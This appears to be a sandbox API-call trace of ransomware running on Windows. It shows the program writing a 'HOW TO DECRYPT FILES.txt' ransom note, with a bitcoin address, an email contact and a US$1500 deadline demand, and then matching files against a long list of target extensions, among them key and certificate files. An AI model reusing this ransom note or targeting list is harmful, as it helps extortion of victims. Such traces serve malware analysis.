lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll") returned -1 [0100.438] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\*.*") returned="*.*" [0100.438] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\" [0100.438] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\") returned="" [0100.438] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.438] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.troubleshootingpack.resources\\6.1.0.0_en_31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.438] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.troubleshootingpack.resources\\6.1.0.0_en_31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.439] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.439] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.441] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.441] CloseHandle (hObject=0x90) returned 1 [0100.441] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll" [0100.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.ems") returned 0 [0100.441] lstrlenA (lpString="*.ems") returned 5 [0100.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.db") returned 0 [0100.441] lstrlenA (lpString="*.db") returned 4 [0100.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.dbf") returned 0 [0100.442] lstrlenA (lpString="*.dbf") returned 5 [0100.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.myox") returned 0 [0100.442] lstrlenA (lpString="*.myox") returned 6 [0100.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.myo") returned 0 [0100.442] lstrlenA (lpString="*.myo") returned 5 [0100.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.qbw") returned 0 [0100.442] lstrlenA (lpString="*.qbw") returned 5 [0100.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.qbb") returned 0 [0100.442] lstrlenA (lpString="*.qbb") returned 5 [0100.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.qbm") returned 0 [0100.442] lstrlenA (lpString="*.qbm") returned 5 [0100.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.qbo") returned 0 [0100.442] lstrlenA (lpString="*.qbo") returned 5 [0100.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.qbx") returned 0 [0100.442] lstrlenA (lpString="*.qbx") returned 5 [0100.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.qba") returned 0 [0100.442] lstrlenA (lpString="*.qba") returned 5 [0100.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.qby") returned 0 [0100.442] lstrlenA (lpString="*.qby") returned 5 [0100.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.qbj") returned 0 [0100.443] lstrlenA (lpString="*.qbj") returned 5 [0100.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.ofx") returned 0 [0100.443] lstrlenA (lpString="*.ofx") returned 5 [0100.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.qif") returned 0 [0100.443] lstrlenA (lpString="*.qif") returned 5 [0100.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.mye") returned 0 [0100.443] lstrlenA (lpString="*.mye") returned 5 [0100.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.mbox") returned 0 [0100.443] lstrlenA (lpString="*.mbox") returned 6 [0100.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.eml") returned 0 [0100.443] lstrlenA (lpString="*.eml") returned 5 [0100.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.pst") returned 0 [0100.443] lstrlenA (lpString="*.pst") returned 5 [0100.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.ost") returned 0 [0100.443] lstrlenA (lpString="*.ost") returned 5 [0100.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.idx") returned 0 [0100.443] lstrlenA (lpString="*.idx") returned 5 [0100.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.dbx") returned 0 [0100.443] lstrlenA (lpString="*.dbx") returned 5 [0100.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.sql") returned 0 [0100.444] lstrlenA (lpString="*.sql") returned 5 [0100.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.mdb") returned 0 [0100.444] lstrlenA (lpString="*.mdb") returned 5 [0100.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.fdb") returned 0 [0100.444] lstrlenA (lpString="*.fdb") returned 5 [0100.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.wab") returned 0 [0100.444] lstrlenA (lpString="*.wab") returned 5 [0100.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.dat") returned 0 [0100.444] lstrlenA (lpString="*.dat") returned 5 [0100.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.txt") returned 0 [0100.444] lstrlenA (lpString="*.txt") returned 5 [0100.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.jpeg") returned 0 [0100.444] lstrlenA (lpString="*.jpeg") returned 6 [0100.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.jpg") returned 0 [0100.444] lstrlenA (lpString="*.jpg") returned 5 [0100.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.png") returned 0 [0100.444] lstrlenA (lpString="*.png") returned 5 [0100.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.php") returned 0 [0100.444] lstrlenA (lpString="*.php") returned 5 [0100.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.cs") returned 0 [0100.445] lstrlenA (lpString="*.cs") returned 4 [0100.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.cpp") returned 0 [0100.445] lstrlenA (lpString="*.cpp") returned 5 [0100.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.rar") returned 0 [0100.445] lstrlenA (lpString="*.rar") returned 5 [0100.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.zip") returned 0 [0100.445] lstrlenA (lpString="*.zip") returned 5 [0100.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.html") returned 0 [0100.445] lstrlenA (lpString="*.html") returned 6 [0100.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.htm") returned 0 [0100.445] lstrlenA (lpString="*.htm") returned 5 [0100.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.xlsx") returned 0 [0100.445] lstrlenA (lpString="*.xlsx") returned 6 [0100.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.xls") returned 0 [0100.446] lstrlenA (lpString="*.xls") returned 5 [0100.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.mp4") returned 0 [0100.446] lstrlenA (lpString="*.mp4") returned 5 [0100.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.ppt") returned 0 [0100.446] lstrlenA (lpString="*.ppt") returned 5 [0100.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.pptx") returned 0 [0100.446] lstrlenA (lpString="*.pptx") returned 6 [0100.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.doc") returned 0 [0100.446] lstrlenA (lpString="*.doc") returned 5 [0100.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.dot") returned 0 [0100.446] lstrlenA (lpString="*.dot") returned 5 [0100.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.docx") returned 0 [0100.446] lstrlenA (lpString="*.docx") returned 6 [0100.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.7z") returned 0 [0100.446] lstrlenA (lpString="*.7z") returned 4 [0100.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.tar") returned 0 [0100.446] lstrlenA (lpString="*.tar") returned 5 [0100.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.bz2") returned 0 [0100.447] lstrlenA (lpString="*.bz2") returned 5 [0100.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.gz") returned 0 [0100.447] lstrlenA (lpString="*.gz") returned 4 [0100.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.mkv") returned 0 [0100.447] lstrlenA (lpString="*.mkv") returned 5 [0100.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.eml") returned 0 [0100.447] lstrlenA (lpString="*.eml") returned 5 [0100.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.msg") returned 0 [0100.447] lstrlenA (lpString="*.msg") returned 5 [0100.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.edb") returned 0 [0100.447] lstrlenA (lpString="*.edb") returned 5 [0100.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.accdb") returned 0 [0100.447] lstrlenA (lpString="*.accdb") returned 7 [0100.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.odb") returned 0 [0100.447] lstrlenA (lpString="*.odb") returned 5 [0100.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.java") returned 0 [0100.447] lstrlenA (lpString="*.java") returned 6 [0100.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.asm") returned 0 [0100.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.pfx") returned 0 [0100.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.pem") returned 0 [0100.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.p12") returned 0 [0100.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.gpg") returned 0 [0100.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.vsd") returned 0 [0100.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.odg") returned 0 [0100.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.raw") returned 0 [0100.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.nef") returned 0 [0100.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.svg") returned 0 [0100.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.psd") returned 0 [0100.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.vmx") returned 0 [0100.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.vmdk") returned 0 [0100.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.vdi") returned 0 [0100.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.lay6") returned 0 [0100.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.mpeg") returned 0 [0100.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.djvu") returned 0 